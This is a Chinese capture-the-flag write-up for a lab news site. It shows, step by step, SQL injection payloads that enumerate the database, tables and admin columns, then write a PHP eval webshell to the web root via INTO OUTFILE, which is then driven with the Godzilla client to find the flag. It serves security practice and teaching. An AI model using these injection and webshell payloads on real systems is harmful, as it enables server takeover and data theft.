打开页面,是一个新闻发布中心:

我们可以看到右上角有个搜索框,这可能和 SQL 注入有关。
判断注入类型
输入:1 or 1=1 #

输入:1' or 1=1 #

由此观之这是字符型注入。
判断列数
1' or 1=1 order by 3 #

再输入:
1' or 1=1 order by 4 #

由此观之列数为 3。
获取数据库信息
1' union select 1, version(), database() #

由图可知,这是 MariaDB 10.2.26 版本,数据库名为sqlgunnews。
获取表名
1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() #

由图可知,有admin、class、news、system表。
获取表结构
1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='admin' #

由此观之,admin表有 3 个字段:id、admin、password。
获取字段信息
1' or union select 1, group_concat(id,admin,password),3 from admin #
这里查不出信息:

写入一句话木马
打开 Brupsuite,把请求转发到 Repeater,在 POST data 中输入:
key=1' union select 1, "<?php phpinfo();?>", 3 into outfile '/var/www/html/phpinfo1.php' #

我们尝试访问一下:

然后我们写入一句话木马:
key=1' union select 1, "<?php @eval($_POST['banana']);?>", 3 into outfile '/var/www/html/banana.php' #

连接 WebShell
用哥斯拉连接 WebShell:


然后在哥斯拉的 Command execution 页面输入:
find / -name "flag"
查找 Flag,最后在 / 下找到 Flag 文件:

References
- 【BMZCTF】sqlguncms - chalan630 - 博客园 (cnblogs.com)
- sqlguncms_Rgylin的博客-CSDN博客_sqlguncms
- [BZMCTF]综合渗透部分 writeup_shu天的博客-CSDN博客
